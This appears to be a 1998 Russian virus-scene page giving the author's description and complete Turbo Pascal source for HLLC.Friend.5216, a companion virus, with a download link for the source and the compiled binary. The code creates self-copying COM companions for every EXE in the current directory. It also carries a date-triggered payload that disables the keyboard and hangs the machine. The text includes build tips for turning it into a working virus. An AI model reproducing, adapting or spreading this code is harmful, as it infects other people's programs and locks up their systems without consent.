HLLC.Friend.5216
(c) by Duke/SMF
Имя вируса : Friend-3
Автор : Duke/SMF
Дата создания : 05.11.98
Длина : 5216 байт
Перед вами простенький вирус HLLC.Friend.5216 или Friend-3.
Это файловый компаньон вирус, поражающий EXE-файлы в текущем каталоге.
Главный прикол состоит в том, что компаньон-вирусы как правило
написаны на ассемблере, чтобы откомпилированный вирус имел расширение
имени COM. Тогда он сможет поражать EXE-файлы, создавая COM-файл спутник.
Но Turbo Pascal 7.1 компилирует свои файлы только в формат EXE.
Утилиты типа EXE2COM могут быть малорезультативны в этом случае, поэтому
я использую способ попроще - переименовать откомпилированный вирус в
файл с расширением COM. И это все - вирус готов к запуску !
Вирус после очередного заражения изменяет длину файла записыванием
всякого мусора в конец - он не влияет на работу программы, но в одной
директории не будет нескольких COM-файлов с одинаковой длиной.
По сравнению с версией 1 добавлены проявления (см. в конце файла).
===== Cut here =====
{$M 5000, 0, 5000}
uses dos;
const virsize=5216; {длина вируса}
e='.exe';
var ds:dirstr;
ns:namestr;
es:extstr;
f,g:file;
s:searchrec;
mas:array[1..virsize] of char; {тело вируса}
st:string;
yd,md,dd,wd:word; {текущая дата}
par:string; {параметры командной строки}
i:integer;
label infect;
{---------------------------------------------------------------------------}
procedure zar; {процедура заражения}
var i:integer;ch:char;
begin
fsplit(s.name,ds,ns,es);
st:=ds+ns+'.com';
assign(g,st);{$I-}reset(g,1);{$I+} {Проверяем, есть ли уже файл}
{с расширением COM}
if ioresult<>0 then {Если нет => ещ± не заражен...}
begin
rewrite(g,1); {... создаем компаньон}
blockwrite(g,mas,virsize); {... пишем вирус}
for i:=1 to random(500) do {... пишем мусор}
begin
ch:=chr(random(250));
blockwrite(g,ch,1);
end;
end;
close(g);
end;
{---------------------------------------------------------------------------}
function ReadKey : Char; {аналог функции ReadKey модуля Crt}
var chrout : char;
CheckBreak: boolean;
begin
Inline(
$B4/$07/ { MOV AH,$07 }
$CD/$21/ { INT $21 }
$88/$86/>CHROUT); { MOV >chrout[bp],AL }
if CheckBreak and (chrout = #3) then
begin
Inline(
$CD/$23); { INT $23 }
end;
ReadKey := chrout;
end;
{---------------------------------------------------------------------------}
begin
st:='This is [Friend-3] virus (c) by Duke/SMF 5.11.98';
fsplit(paramstr(0),ds,ns,es);
st:=ds+ns+e;
assign(g,st);{$I-}reset(g);{$I+}
if ioresult<>0 then goto infect; {если не найден пораженный файл,
то заражаем всех}
close(g);
par:='';
for i:=1 to paramcount do par:=par+' '+paramstr(i);
exec(GetEnv('COMSPEC'),'/c '+st+par);
{---- Поиск и заражение ----}
infect:
assign(f,paramstr(0));reset(f,1);
blockread(f,mas,virsize);
close(f);
findfirst('*'+e,$21,s);
zar;
while doserror=0 do
begin
findnext(s);
zar;
end;
{---- Проверка даты и проявления вируса ----}
GetDate(yd,md,dd,wd);
if yd>2000 then begin writeln('Переведи дату!');readkey end;
if dd=md then {Вешаем систему:}
begin
asm
in al,64h {отключаем клавиатуру ... }
or al,40h
out 64h,al
end;
readkey; {и ждем нажатия на клавишу >:-() }
end;
end.
===== Cut here =====
 |
Здесь вы можете скачать: |
Вирус HLLC.Friend.5216 - исходник и откомпилированный